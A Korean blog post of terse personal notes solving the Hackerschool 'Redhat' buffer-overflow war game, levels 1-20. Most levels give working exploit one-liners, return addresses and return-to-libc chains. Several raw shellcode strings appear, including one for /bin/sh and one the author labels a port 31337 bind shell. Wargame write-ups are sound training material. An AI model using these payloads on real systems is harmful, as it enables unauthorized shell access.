둘둘리둘둘리둘둘리둘둘리둘둘리둘

[ 해커스쿨 레드헷 ] 1~20 본문

War game/해커 스쿨 Redhat

[ 해커스쿨 레드헷 ] 1~20

dool2ly 2015. 8. 23. 19:50

VM 이미지가 날라가서 .. 풀면서 메모한거라도 남깁니다. 

제생각엔 해커스쿨 FTZ 다 푸셨다면 19번문제 제외하고는 다 이정도 힌트로 풀 수 있을거라 생각합니다.

혹시라도 이 글을 보고 해커스쿨 레드햇 푸시는분은 궁금한점 물어보세요!


1. gremlin :

2. cobolt :

3. goblin :

4. orc:

5. wolfman:

6. darkelf :

7. orge :

8. troll :

9. vampire :

10. skeleton :

11. golem :

12. darkknight :

13. bugbear :

14. giant :

15. assassin :

16. zombie_assassin:

17. succubus :

18. nightmare :

19. xavius :

20. death_kinght :


19.

"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5"

31337 바인딩 쉘


18.

stdin 0x 0804 9a3c

stdin 임시버퍼 0x 4001 5000

- ebp+8 : 40015030


17.

strcpy : 0x 4007 67b0

strcpy@PLT :  0x 0804 8410


./nightmare `python -c 'print "\xe0\x8a\x05\x40"+ "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "a"*32 +"\x10\x84\x04\x08"+"DDDD"+"\xe0\xf6\xff\xbf"+"\xb0\xf6\xff\xbf"'`


***버퍼 주소를 착각하지 말자...............


16.

함수 리스트 objdump --syms ./tg 

DO: 0x 0804 87ec

GYE: 0x 0804 87bc

GUL: 0x 0804 878c

YUT: 0x 0804 875c

MO: 0x 0804 8724 < arg1

`python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\xe8\xfa\xff\xbf"+"/bin/sh"'`


15.

ret sled

low< SFP | ret | system | exit | /bin/sh >high


14.

소프트 링크를 /bin/sh 주소로 해버리면 스택 첫부분 경로 박힌곳을 이용해서

execve 두번째인자 {"/bin/sh",0} 획득 가능 

 low< SFP | execve | exit | /bin/sh | 0xbffffff7 | 0xbffffffc > high



13.

execve : 0x400a 9d48

system : 0x4005 8ae0 

sh : 0x400f bff9

exit : 0x4003 91e0


12.

SFP를 buffer-4주소로 변조해 main이 종료될때 리턴 주소가 buffer의 시작으로 되도록 하고

buffer에 쉘코드 넣음, buffer가 char형 배열이라 buffer의 정확한 맨 앞은 내용의 주소값 가지고 있음(함수 종료후 메인 종료여서 가능.. Fake ebp랑 차이점)



11.

0xbfffff558

환경변수 LD_PRELOAD를 이용하여 라이브러리를 공유 라이브러리 영역에 올리는게 가능

-> 쉘코드를 이름으로 가지는 라이브러리를 공유 라이브러리 영역에 올려 그 쪽으로 리턴



10.

ebp-44 : i

ebp-48 : argc

스택의 제일 처음( 메모리의 높은주소)쯤에 프로그램 절대경로 있음

리턴 주소가 자꾸 변조되서 argv[0]에 NOP값을 적절히 조절해야됨.........

0xbfff ff75

./`python -c 'print "\x90"*206'`$(printf "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81\x90")


./`python -c 'print "\x90"*130'`$(printf "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81")`python -c 'print "\x90"*70'`


9. arg길이를 늘려서 스택 프레임을 bffeXXXX까지 낮춤

bffe7598


8.

 ln -s ./troll ./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"'`

bfff fb30

./`python -c 'print "\x90"*100'`$(printf "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81\x90")

bfff fb38

bfff fa9f


./`python -c 'print "\x90"*20+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"'` `python -c 'print "A"*44+"\xc8\xfb\xff\xbf"'`

7.

0xbfff f078

`python -c 'print "A"*44+"\x78\xf0\xff\xbf"'` `python -c 'print "\x90"*3000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"'`


6.

bfff fc98

4005 8ae0

0x8048500

./tg `python -c 'print "A"*44+"\x56\xfc\xff\xbf"'` `python -c 'print "\x90"*3000+"\x31\xc0\x89\xc1\x89\xc3\x66\xb9\xfa\x01\x66\xbb\xfa\x01\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\xb0\x01\xcd\x80"+"\x90"'`


5.

bfff fc74

bfff fc8d


4.

argv[2]의 대략적인 주소 구하고 argv[2]에 NOP슬라이드z

bfff fc18


1.

환경변수로 쉘코드 등록후 등록한 주소로 점프

./gremlin `python -c 'print ("A"*0x104+"\xb7\xfa\xff\xbf")'`

bash2...............................



Comments